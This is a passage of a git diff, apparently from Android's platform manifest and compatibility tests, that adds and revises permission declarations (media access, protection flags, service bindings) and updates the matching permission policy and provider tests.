+    <!-- Allows an application to read the user's shared audio collection. -->
+    <permission android:name="android.permission.READ_MEDIA_AUDIO"
+        android:permissionGroup="android.permission-group.UNDEFINED"
+        android:label="@string/permlab_audioRead"
+        android:description="@string/permdesc_audioRead"
+        android:protectionLevel="dangerous"
+        android:usageInfoRequired="true" />
+
+    <!-- Runtime permission controlling access to the user's shared visual media
+         collection, including images and videos. -->
+    <permission-group android:name="android.permission-group.MEDIA_VISUAL"
+        android:icon="@drawable/perm_group_visual"
+        android:label="@string/permgrouplab_visual"
+        android:description="@string/permgroupdesc_visual"
+        android:request="@string/permgrouprequest_visual"
+        android:priority="920" />
+
+    <!-- Allows an application to read the user's shared images collection. -->
+    <permission android:name="android.permission.READ_MEDIA_IMAGES"
+        android:permissionGroup="android.permission-group.UNDEFINED"
+        android:label="@string/permlab_imagesRead"
+        android:description="@string/permdesc_imagesRead"
+        android:protectionLevel="dangerous"
+        android:usageInfoRequired="true" />
+
+    <!-- Allows an application to read the user's shared video collection. -->
+    <permission android:name="android.permission.READ_MEDIA_VIDEO"
+        android:permissionGroup="android.permission-group.UNDEFINED"
+        android:label="@string/permlab_videoRead"
+        android:description="@string/permdesc_videoRead"
+        android:protectionLevel="dangerous"
+        android:usageInfoRequired="true" />
+
+    <!-- Allows an application to access any geographic locations persisted in the
+         user's shared collection. -->
+    <permission android:name="android.permission.ACCESS_MEDIA_LOCATION"
+        android:permissionGroup="android.permission-group.UNDEFINED"
+        android:label="@string/permlab_mediaLocation"
+        android:description="@string/permdesc_mediaLocation"
+        android:protectionLevel="dangerous"
+        android:usageInfoRequired="true" />
+
+    <!-- @hide @SystemApi @TestApi
+         Allows an application to modify OBB files visible to other apps. -->
+    <permission android:name="android.permission.WRITE_OBB"
+        android:protectionLevel="signature|privileged" />
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing the device location                          -->
@@ -824,32 +923,37 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.ACCESS_FINE_LOCATION"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_accessFineLocation"
         android:description="@string/permdesc_accessFineLocation"
         android:backgroundPermission="android.permission.ACCESS_BACKGROUND_LOCATION"
-        android:protectionLevel="dangerous|instant" />
+        android:protectionLevel="dangerous|instant"
+        android:usageInfoRequired="true" />
 
     <!-- Allows an app to access approximate location.
          Alternatively, you might want {@link #ACCESS_FINE_LOCATION}.
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.ACCESS_COARSE_LOCATION"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_accessCoarseLocation"
         android:description="@string/permdesc_accessCoarseLocation"
         android:backgroundPermission="android.permission.ACCESS_BACKGROUND_LOCATION"
-        android:protectionLevel="dangerous|instant" />
+        android:protectionLevel="dangerous|instant"
+        android:usageInfoRequired="true" />
 
     <!-- Allows an app to access location in the background.  If you
          are requesting this, you should also request {@link #ACCESS_FINE_LOCATION}.
          Requesting this by itself is not sufficient to give you
          location access.
          <p>Protection level: dangerous
-         @hide
     -->
     <permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_accessBackgroundLocation"
         android:description="@string/permdesc_accessBackgroundLocation"
-        android:protectionLevel="dangerous|instant" />
+        android:protectionLevel="dangerous|instant"
+        android:usageInfoRequired="true" />
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing the call log                                 -->
@@ -887,9 +991,11 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.READ_CALL_LOG"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_readCallLog"
         android:description="@string/permdesc_readCallLog"
-        android:protectionLevel="dangerous" />
+        android:protectionLevel="dangerous"
+        android:usageInfoRequired="true" />
 
     <!-- Allows an application to write (but not read) the user's
          call log data.
@@ -905,6 +1011,7 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.WRITE_CALL_LOG"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_writeCallLog"
         android:description="@string/permdesc_writeCallLog"
         android:protectionLevel="dangerous" />
@@ -915,9 +1022,11 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.PROCESS_OUTGOING_CALLS"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_processOutgoingCalls"
         android:description="@string/permdesc_processOutgoingCalls"
-        android:protectionLevel="dangerous" />
+        android:protectionLevel="dangerous"
+        android:usageInfoRequired="true" />
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing the device telephony                         -->
@@ -946,23 +1055,28 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.READ_PHONE_STATE"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_readPhoneState"
         android:description="@string/permdesc_readPhoneState"
-        android:protectionLevel="dangerous" />
+        android:protectionLevel="dangerous"
+        android:usageInfoRequired="true" />
 
     <!-- Allows read access to the device's phone number(s). This is a subset of the capabilities
          granted by {@link #READ_PHONE_STATE} but is exposed to instant applications.
          <p>Protection level: dangerous-->
     <permission android:name="android.permission.READ_PHONE_NUMBERS"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_readPhoneNumbers"
         android:description="@string/permdesc_readPhoneNumbers"
-        android:protectionLevel="dangerous|instant" />
+        android:protectionLevel="dangerous|instant"
+        android:usageInfoRequired="true" />
 
     <!-- Allows an application to initiate a phone call without going through
         the Dialer user interface for the user to confirm the call.
         <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.CALL_PHONE"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:permissionFlags="costsMoney"
         android:label="@string/permlab_callPhone"
         android:description="@string/permdesc_callPhone"
@@ -972,6 +1086,7 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="com.android.voicemail.permission.ADD_VOICEMAIL"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_addVoicemail"
         android:description="@string/permdesc_addVoicemail"
         android:protectionLevel="dangerous" />
@@ -980,6 +1095,7 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.USE_SIP"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:description="@string/permdesc_use_sip"
         android:label="@string/permlab_use_sip"
         android:protectionLevel="dangerous"/>
@@ -988,13 +1104,14 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.ANSWER_PHONE_CALLS"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_answerPhoneCalls"
         android:description="@string/permdesc_answerPhoneCalls"
         android:protectionLevel="dangerous|runtime" />
 
     <!-- Allows a calling application which manages it own calls through the self-managed
          {@link android.telecom.ConnectionService} APIs.  See
-         {@link android.telecom.PhoneAccount#CAPABILITY_SELF_MANAGED for more information on the
+         {@link android.telecom.PhoneAccount#CAPABILITY_SELF_MANAGED} for more information on the
          self-managed ConnectionService APIs.
          <p>Protection level: normal
     -->
@@ -1015,6 +1132,7 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.ACCEPT_HANDOVER"
+                android:permissionGroup="android.permission-group.UNDEFINED"
                 android.label="@string/permlab_acceptHandover"
                 android:description="@string/permdesc_acceptHandovers"
                 android:protectionLevel="dangerous" />
@@ -1038,9 +1156,11 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.RECORD_AUDIO"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_recordAudio"
         android:description="@string/permdesc_recordAudio"
-        android:protectionLevel="dangerous|instant"/>
+        android:protectionLevel="dangerous|instant"
+        android:usageInfoRequired="true" />
 
     <!-- ====================================================================== -->
     <!-- Permissions for activity recognition                        -->
@@ -1048,7 +1168,7 @@
     <eat-comment />
 
     <!-- Used for permissions that are associated with activity recognition.
-         TODO(zezeozue): Add icon -->
+         TODO(zezeozue). STOPSHIP: Add icon -->
     <permission-group android:name="android.permission-group.ACTIVITY_RECOGNITION"
         android:label="@string/permgrouplab_activityRecognition"
         android:description="@string/permgroupdesc_activityRecognition"
@@ -1059,9 +1179,11 @@
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.ACTIVITY_RECOGNITION"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_activityRecognition"
         android:description="@string/permdesc_activityRecognition"
-        android:protectionLevel="dangerous|instant" />
+        android:protectionLevel="dangerous|instant"
+        android:usageInfoRequired="true" />
 
     <!-- ====================================================================== -->
     <!-- Permissions for accessing the UCE Service                              -->
@@ -1098,18 +1220,20 @@
         android:priority="700" />
 
     <!-- Required to be able to access the camera device.
-         <p>This will automatically enforce the <a
-         href="{@docRoot}guide/topics/manifest/uses-feature-element.html">
-         <uses-feature>}</a> manifest element for <em>all</em> camera features.
+         <p>This will automatically enforce the
+         <a href="{@docRoot}guide/topics/manifest/uses-feature-element.html">
+         uses-feature</a> manifest element for <em>all</em> camera features.
          If you do not require all camera features or can properly operate if a camera
          is not available, then you must modify your manifest as appropriate in order to
          install on devices that don't support all camera features.</p>
          <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.CAMERA"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_camera"
         android:description="@string/permdesc_camera"
-        android:protectionLevel="dangerous|instant" />
+        android:protectionLevel="dangerous|instant"
+        android:usageInfoRequired="true" />
 
 
     <!-- ====================================================================== -->
@@ -1130,9 +1254,11 @@
          measure what is happening inside his/her body, such as heart rate.
          <p>Protection level: dangerous -->
     <permission android:name="android.permission.BODY_SENSORS"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:label="@string/permlab_bodySensors"
         android:description="@string/permdesc_bodySensors"
-        android:protectionLevel="dangerous" />
+        android:protectionLevel="dangerous"
+        android:usageInfoRequired="true" />
 
     <!-- Allows an app to use fingerprint hardware.
          <p>Protection level: normal
@@ -1457,6 +1583,7 @@
 
     <!-- Allows SetupWizard to call methods in Networking services
          <p>Not for use by any other third-party or privileged applications.
+         @SystemApi
          @hide This should only be used by SetupWizard.
     -->
     <permission android:name="android.permission.NETWORK_SETUP_WIZARD"
@@ -1468,7 +1595,7 @@
          @hide This should only be used by ManagedProvisioning app.
     -->
     <permission android:name="android.permission.NETWORK_MANAGED_PROVISIONING"
-        android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature" />
 
     <!-- #SystemApi @hide Allows applications to access information about LoWPAN interfaces.
          <p>Not for use by third-party applications. -->
@@ -1521,7 +1648,7 @@
          @hide
     -->
     <permission android:name="android.permission.SUSPEND_APPS"
-        android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|wellbeing" />
 
     <!-- Allows applications to discover and pair bluetooth devices.
          <p>Protection level: normal
@@ -1593,7 +1720,7 @@
     <permission android:name="android.permission.NFC_HANDOVER_STATUS"
         android:protectionLevel="signature|privileged" />
 
-    <!-- @hide Allows internal management of Bluetooth state when on wireless consnet mode.
+    <!-- @hide Allows internal management of Bluetooth state when on wireless consent mode.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.MANAGE_BLUETOOTH_WHEN_WIRELESS_CONSENT_REQUIRED"
         android:protectionLevel="signature" />
@@ -1615,9 +1742,11 @@
     <p>Protection level: dangerous
     -->
     <permission android:name="android.permission.GET_ACCOUNTS"
+        android:permissionGroup="android.permission-group.UNDEFINED"
         android:protectionLevel="dangerous"
         android:description="@string/permdesc_getAccounts"
-        android:label="@string/permlab_getAccounts" />
+        android:label="@string/permlab_getAccounts"
+        android:usageInfoRequired="true" />
     <uses-permission android:name="android.permission.GET_ACCOUNTS"/>
 
     <!-- @SystemApi Allows applications to call into AccountAuthenticators.
@@ -1690,7 +1819,7 @@
          <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.MANAGE_DEBUGGING"
-                android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- @SystemApi Allows an application to access the MTP USB kernel driver.
          For use only by the device side MTP implementation.
@@ -1861,7 +1990,7 @@
          <p>Protection level: signature|privileged
     -->
     <permission android:name="android.permission.BIND_CALL_REDIRECTION_SERVICE"
-        android:protectionLevel="signature|privileged" />
+                android:protectionLevel="signature|privileged" />
 
     <!-- Must be required by a {@link android.telecom.ConnectionService},
          to ensure that only the system can bind to it.
@@ -1958,10 +2087,9 @@
          <p>This permission should <em>only</em> be requested by the platform
          document management app.  This permission cannot be granted to
          third-party apps.
-         <p>Protection level: signature
     -->
     <permission android:name="android.permission.MANAGE_DOCUMENTS"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|documenter" />
 
     <!-- @hide Allows an application to cache content.
          <p>Not for use by third-party applications.
@@ -2051,6 +2179,13 @@
     <permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL"
         android:protectionLevel="signature|installer" />
 
+    <!-- @SystemApi Allows an application to start an activity within its managed profile from
+         the personal profile.
+         This permission is not available to third party applications.
+         @hide -->
+    <permission android:name="android.permission.INTERACT_ACROSS_PROFILES"
+                android:protectionLevel="signature|privileged" />
+
     <!-- @SystemApi @hide Allows an application to call APIs that allow it to query and manage
          users on the device. This permission is not available to
          third party applications. -->
@@ -2086,9 +2221,9 @@
         android:description="@string/permdesc_reorderTasks"
         android:protectionLevel="normal" />
 
-    <!-- @hide Allows an application to change to remove/kill tasks -->
+    <!-- @SystemApi @TestApi @hide Allows an application to change to remove/kill tasks -->
     <permission android:name="android.permission.REMOVE_TASKS"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|documenter" />
 
     <!-- @SystemApi @TestApi @hide Allows an application to create/manage/remove stacks -->
     <permission android:name="android.permission.MANAGE_ACTIVITY_STACKS"
@@ -2115,10 +2250,9 @@
 
     <!-- Allows an application to start an activity as another app, provided that app has been
          granted a permissionToken from the ActivityManagerService.
-         <p>Not for use by third-party applications.
          @hide -->
     <permission android:name="android.permission.START_ACTIVITY_AS_CALLER"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @deprecated The {@link android.app.ActivityManager#restartPackage}
         API is no longer supported. -->
@@ -2468,7 +2602,8 @@
     <permission android:name="android.permission.ASEC_RENAME"
         android:protectionLevel="signature" />
 
-    <!-- @SystemApi Allows applications to write the apn settings.
+    <!-- @SystemApi Allows applications to write the apn settings and read sensitive fields of
+         an existing apn settings like user and password.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.WRITE_APN_SETTINGS"
         android:protectionLevel="signature|privileged" />
@@ -2687,7 +2822,7 @@
         android:protectionLevel="signature" />
 
     <!-- @SystemApi Allows an application to use
-         {@link android.view.WindowManager.LayoutsParams#PRIVATE_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS}
+         {@link android.view.WindowManager.LayoutsParams#SYSTEM_FLAG_HIDE_NON_SYSTEM_OVERLAY_WINDOWS}
          to hide non-system-overlay windows.
          <p>Not for use by third-party applications.
          @hide
@@ -2860,7 +2995,7 @@
          it.
          @hide -->
     <permission android:name="android.permission.BIND_ROLE_CONTROLLER_SERVICE"
-                android:protectionLevel="signature" />
+        android:protectionLevel="signature" />
 
     <!-- @SystemApi Must be required by the RuntimePermissionPresenterService to ensure
          that only the system can bind to it.
@@ -2927,12 +3062,20 @@
     <permission android:name="android.permission.BIND_TEXTCLASSIFIER_SERVICE"
                 android:protectionLevel="signature" />
 
-    <!-- Must be required by a android.service.intelligence.IntelligenceService,
+    <!-- Must be required by a android.service.contentcapture.ContentCaptureService,
          to ensure that only the system can bind to it.
          @SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
          <p>Protection level: signature
     -->
-    <permission android:name="android.permission.BIND_INTELLIGENCE_SERVICE"
+    <permission android:name="android.permission.BIND_CONTENT_CAPTURE_SERVICE"
+                android:protectionLevel="signature" />
+
+    <!-- Must be required by a android.service.autofill.augmented.AugmentedAutofillService,
+         to ensure that only the system can bind to it.
+         @SystemApi @hide This is not a third-party API (intended for OEMs and system apps).
+         <p>Protection level: signature
+    -->
+    <permission android:name="android.permission.BIND_AUGMENTED_AUTOFILL_SERVICE"
                 android:protectionLevel="signature" />
 
     <!-- Must be required by hotword enrollment application,
@@ -2954,6 +3097,13 @@
     <permission android:name="android.permission.BIND_TV_INPUT"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Must be required by an {@link android.service.sms.FinancialSmsService}
+         to ensure that only the system can bind to it.
+         @hide This is not a third-party API (intended for OEMs and system apps).
+    -->
+    <permission android:name="android.permission.BIND_FINANCIAL_SMS_SERVICE"
+                android:protectionLevel="signature" />
+
     <!-- @SystemApi
          Must be required by a {@link com.android.media.tv.remoteprovider.TvRemoteProvider}
          to ensure that only the system can bind to it.
@@ -3209,6 +3359,11 @@
     <permission android:name="android.permission.MANAGE_ROLE_HOLDERS"
                 android:protectionLevel="signature|installer" />
 
+    <!-- @SystemApi Allows an application to observe role holder changes.
+         @hide -->
+    <permission android:name="android.permission.OBSERVE_ROLE_HOLDERS"
+                android:protectionLevel="signature|installer" />
+
     <!-- @SystemApi Allows an application to use SurfaceFlinger's low level features.
          <p>Not for use by third-party applications.
          @hide
@@ -3260,6 +3415,13 @@
     <permission android:name="android.permission.CONTROL_DISPLAY_SATURATION"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Allows an application to control display color transformations.
+         <p>Not for use by third-party applications.</p>
+         @hide
+         @SystemApi -->
+    <permission android:name="android.permission.CONTROL_DISPLAY_COLOR_TRANSFORMS"
+        android:protectionLevel="signature|privileged" />
+
     <!-- Allows an application to collect usage infomation about brightness slider changes.
          <p>Not for use by third-party applications.</p>
          @hide
@@ -3309,7 +3471,7 @@
          <p>Not for use by third-party applications.</p>
          @hide -->
     <permission android:name="android.permission.MODIFY_AUDIO_ROUTING"
-		android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged" />
 
     <!-- Allows an application to modify what effects are applied to all audio
          (matching certain criteria) from any application.
@@ -3318,13 +3480,17 @@
     <permission android:name="android.permission.MODIFY_DEFAULT_AUDIO_EFFECTS"
         android:protectionLevel="signature|privileged" />
 
-    <!-- @SystemApi Allows an application to capture video output.
-         <p>Not for use by third-party applications.</p> -->
+    <!-- Allows an application to capture video output.
+         <p>Not for use by third-party applications.</p>
+          @hide
+          @removed -->
     <permission android:name="android.permission.CAPTURE_VIDEO_OUTPUT"
         android:protectionLevel="signature|privileged" />
 
-    <!-- @SystemApi Allows an application to capture secure video output.
-         <p>Not for use by third-party applications.</p> -->
+    <!-- Allows an application to capture secure video output.
+         <p>Not for use by third-party applications.</p>
+          @hide
+          @removed -->
     <permission android:name="android.permission.CAPTURE_SECURE_VIDEO_OUTPUT"
         android:protectionLevel="signature|privileged" />
 
@@ -3368,7 +3534,7 @@
         android:protectionLevel="signature" />
 
     <!-- Allows toggling battery saver on the system.
-     Superseded by DEVICE_POWER permission. @hide @SystemApi
+         Superseded by DEVICE_POWER permission. @hide @SystemApi
     -->
     <permission android:name="android.permission.POWER_SAVER"
         android:protectionLevel="signature|privileged" />
@@ -3940,10 +4106,10 @@
          confirmation UI for full backup/restore -->
     <uses-permission android:name="android.permission.CONFIRM_FULL_BACKUP"/>
 
-    <!-- Allows the holder to access and manage instant applications on the device.
-    @hide -->
+    <!-- @SystemApi Allows the holder to access and manage instant applications on the device.
+         @hide -->
     <permission android:name="android.permission.ACCESS_INSTANT_APPS"
-            android:protectionLevel="signature|installer|verifier" />
+            android:protectionLevel="signature|installer|verifier|wellbeing" />
     <uses-permission android:name="android.permission.ACCESS_INSTANT_APPS"/>
 
     <!-- Allows the holder to view the instant applications on the device.
@@ -4039,6 +4205,11 @@
     <permission android:name="android.permission.MANAGE_AUTO_FILL"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi Allows an application to manage the content capture service.
+         @hide  <p>Not for use by third-party applications.</p> -->
+    <permission android:name="android.permission.MANAGE_CONTENT_CAPTURE"
+        android:protectionLevel="signature" />
+
     <!-- Allows an app to set the theme overlay in /vendor/overlay
          being used.
          @hide  <p>Not for use by third-party applications.</p> -->
@@ -4110,8 +4281,8 @@
                 android:protectionLevel="signature" />
 
     <!-- @hide Permission that protects the
-         {@link android.provider.Telephony.Intents#ACTION_DEFAULT_SMS_PACKAGE_CHANGED_INTERNAL}
-         broadcast -->
+        {@link android.provider.Telephony.Intents#ACTION_DEFAULT_SMS_PACKAGE_CHANGED_INTERNAL}
+        broadcast -->
     <permission android:name="android.permission.MONITOR_DEFAULT_SMS_PACKAGE"
         android:protectionLevel="signature" />
 
@@ -4120,7 +4291,7 @@
         android:protectionLevel="signature" />
 
     <!-- @hide Permission that allows background clipboard access.
-     <p>Not for use by third-party applications. -->
+         <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.READ_CLIPBOARD_IN_BACKGROUND"
         android:protectionLevel="signature" />
 
@@ -4135,6 +4306,32 @@
     <permission android:name="android.permission.GRANT_PROFILE_OWNER_DEVICE_IDS_ACCESS"
         android:protectionLevel="signature" />
 
+    <!-- Allows financial apps to read filtered sms messages. -->
+    <permission android:name="android.permission.SMS_FINANCIAL_TRANSACTIONS"
+        android:protectionLevel="signature|appop" />
+
+    <!-- Required for apps targeting {@link android.os.Build.VERSION_CODES#P} that want to use
+         {@link android.app.Notification.Builder#setFullScreenIntent notification full screen
+         intents}.  -->
+    <permission android:name="android.permission.USE_FULL_SCREEN_INTENT"
+                android:protectionLevel="normal" />
+
+    <!-- @SystemApi Allows requesting the framework broadcast the
+         {@link Intent#ACTION_DEVICE_CUSTOMIZATION_READY} intent.
+         @hide -->
+    <permission android:name="android.permission.SEND_DEVICE_CUSTOMIZATION_READY"
+        android:protectionLevel="signature|privileged" />
+
+    <!-- @SystemApi Permission that protects the {@link Intent#ACTION_DEVICE_CUSTOMIZATION_READY}
+         intent.
+         @hide -->
+    <permission android:name="android.permission.RECEIVE_DEVICE_CUSTOMIZATION_READY"
+        android:protectionLevel="signature|preinstalled" />
+    <!-- @SystemApi Allows wallpaper to be rendered in ambient mode.
+         @hide -->
+    <permission android:name="android.permission.AMBIENT_WALLPAPER"
+                android:protectionLevel="signature|preinstalled" />
+
     <application android:process="system"
                  android:persistent="true"
                  android:hasCode="false"
@@ -4290,7 +4487,7 @@
         </activity>
 
         <activity android:name="com.android.internal.app.NetInitiatedActivity"
-                android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
+                android:theme="@style/Theme.Dialog.Confirmation"
                 android:excludeFromRecents="true"
                 android:process=":ui">
         </activity>
@@ -4311,7 +4508,7 @@
         <activity android:name="com.android.internal.app.ConfirmUserCreationActivity"
                 android:excludeFromRecents="true"
                 android:process=":ui"
-                android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert">
+                android:theme="@style/Theme.Dialog.Confirmation">
             <intent-filter android:priority="1000">
                 <action android:name="android.os.action.CREATE_USER" />
                 <category android:name="android.intent.category.DEFAULT" />
@@ -4319,24 +4516,24 @@
         </activity>
 
         <activity android:name="com.android.internal.app.SuspendedAppActivity"
-                  android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
+                  android:theme="@style/Theme.Dialog.Confirmation"
                   android:excludeFromRecents="true"
                   android:process=":ui">
         </activity>
 
         <activity android:name="com.android.internal.app.UnlaunchableAppActivity"
-                android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
+                android:theme="@style/Theme.Dialog.Confirmation"
                 android:excludeFromRecents="true"
                 android:process=":ui">
         </activity>
 
         <activity android:name="com.android.settings.notification.NotificationAccessConfirmationActivity"
-                  android:theme="@android:style/Theme.DeviceDefault.Light.Dialog.Alert"
+                  android:theme="@style/Theme.Dialog.Confirmation"
                   android:excludeFromRecents="true">
         </activity>
 
         <activity android:name="com.android.internal.app.HarmfulAppWarningActivity"
-                  android:theme="@style/Theme.DeviceDefault.Light.Dialog.Alert"
+                  android:theme="@style/Theme.Dialog.Confirmation"
                   android:excludeFromRecents="true"
                   android:process=":ui"
                   android:label="@string/harmful_app_warning_title"
@@ -4422,6 +4619,14 @@
             </intent-filter>
         </receiver>
 
+        <receiver android:name="com.android.server.updates.ConversationActionsInstallReceiver"
+                  android:permission="android.permission.UPDATE_CONFIG">
+            <intent-filter>
+                <action android:name="android.intent.action.ACTION_UPDATE_CONVERSATION_ACTIONS" />
+                <data android:scheme="content" android:host="*" android:mimeType="*/*" />
+            </intent-filter>
+        </receiver>
+
         <receiver android:name="com.android.server.updates.CarrierIdInstallReceiver"
                   android:permission="android.permission.UPDATE_CONFIG">
             <intent-filter>
@@ -4446,18 +4651,17 @@
             </intent-filter>
         </receiver>
 
+        <receiver android:name="com.android.server.WallpaperUpdateReceiver"
+                  android:permission="android.permission.RECEIVE_DEVICE_CUSTOMIZATION_READY">
+            <intent-filter>
+                <action android:name="android.intent.action.DEVICE_CUSTOMIZATION_READY"/>
+            </intent-filter>
+        </receiver>
+
         <service android:name="android.hardware.location.GeofenceHardwareService"
             android:permission="android.permission.LOCATION_HARDWARE"
             android:exported="false" />
 
-        <service android:name="com.android.localtransport.LocalTransportService"
-                 android:permission="android.permission.CONFIRM_FULL_BACKUP"
-                 android:exported="false">
-            <intent-filter>
-                <action android:name="android.backup.TRANSPORT_HOST" />
-            </intent-filter>
-        </service>
-
         <service android:name="com.android.server.MountServiceIdler"
                  android:exported="true"
                  android:permission="android.permission.BIND_JOB_SERVICE" >
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 9a85787..6916f83 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -24,6 +24,7 @@
 import android.content.pm.PackageManager.NameNotFoundException;
 import android.content.pm.PermissionGroupInfo;
 import android.content.pm.PermissionInfo;
+import android.os.storage.StorageManager;
 import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 import android.text.TextUtils;
@@ -39,6 +40,7 @@
 import java.text.SimpleDateFormat;
 import java.util.ArrayList;
 import java.util.Date;
+import java.util.Iterator;
 import java.util.List;
 import java.util.Map;
 import java.util.Objects;
@@ -215,6 +217,24 @@
                 }
             }
         }
+
+        // STOPSHIP: remove this once isolated storage is always enabled
+        if (!StorageManager.hasIsolatedStorage()) {
+            Iterator<PermissionInfo> it = permissions.iterator();
+            while (it.hasNext()) {
+                final PermissionInfo pi = it.next();
+                switch (pi.name) {
+                    case android.Manifest.permission.READ_MEDIA_AUDIO:
+                    case android.Manifest.permission.READ_MEDIA_VIDEO:
+                    case android.Manifest.permission.READ_MEDIA_IMAGES:
+                    case android.Manifest.permission.ACCESS_MEDIA_LOCATION:
+                    case android.Manifest.permission.WRITE_OBB:
+                        it.remove();
+                        break;
+                }
+            }
+        }
+
         return permissions;
     }
 
@@ -292,6 +312,12 @@
                 case "textClassifier": {
                     protectionLevel |= PermissionInfo.PROTECTION_FLAG_SYSTEM_TEXT_CLASSIFIER;
                 } break;
+                case "wellbeing": {
+                    protectionLevel |= PermissionInfo.PROTECTION_FLAG_WELLBEING;
+                } break;
+                case "documenter": {
+                    protectionLevel |= PermissionInfo.PROTECTION_FLAG_DOCUMENTER;
+                } break;
                 case "instant": {
                     protectionLevel |= PermissionInfo.PROTECTION_FLAG_INSTANT;
                 } break;
diff --git a/tests/tests/provider/AndroidManifest.xml b/tests/tests/provider/AndroidManifest.xml
index 0d8d088..cfe0c6f 100644
--- a/tests/tests/provider/AndroidManifest.xml
+++ b/tests/tests/provider/AndroidManifest.xml
@@ -18,7 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.provider.cts">
 
-    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="21" />
+    <uses-sdk android:targetSdkVersion="28" />
 
     <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
     <uses-permission android:name="android.permission.MANAGE_ACCOUNTS" />
@@ -86,6 +86,10 @@
                   android:exported="false"
                   android:multiprocess="true" />
 
+        <provider android:name="android.provider.cts.TestSRSProvider"
+                  android:authorities="android.provider.cts.TestSRSProvider"
+                  android:exported="false" />
+
         <service
             android:name="android.provider.cts.contacts.StubInCallService"
             android:permission="android.permission.BIND_INCALL_SERVICE">
diff --git a/tests/tests/provider/res/raw/volantis.jpg b/tests/tests/provider/res/raw/volantis.jpg
new file mode 100644
index 0000000..cfe300f
--- /dev/null
+++ b/tests/tests/provider/res/raw/volantis.jpg
Binary files differ
diff --git a/tests/tests/provider/src/android/provider/cts/DocumentsContractTest.java b/tests/tests/provider/src/android/provider/cts/DocumentsContractTest.java
new file mode 100644
index 0000000..6d2f7cb
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/DocumentsContractTest.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.net.Uri;
+import android.provider.DocumentsContract;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DocumentsContractTest {
+    @Test
+    public void testDocumentUri() {
+        final String auth = "com.example";
+        final String docId = "doc:12";
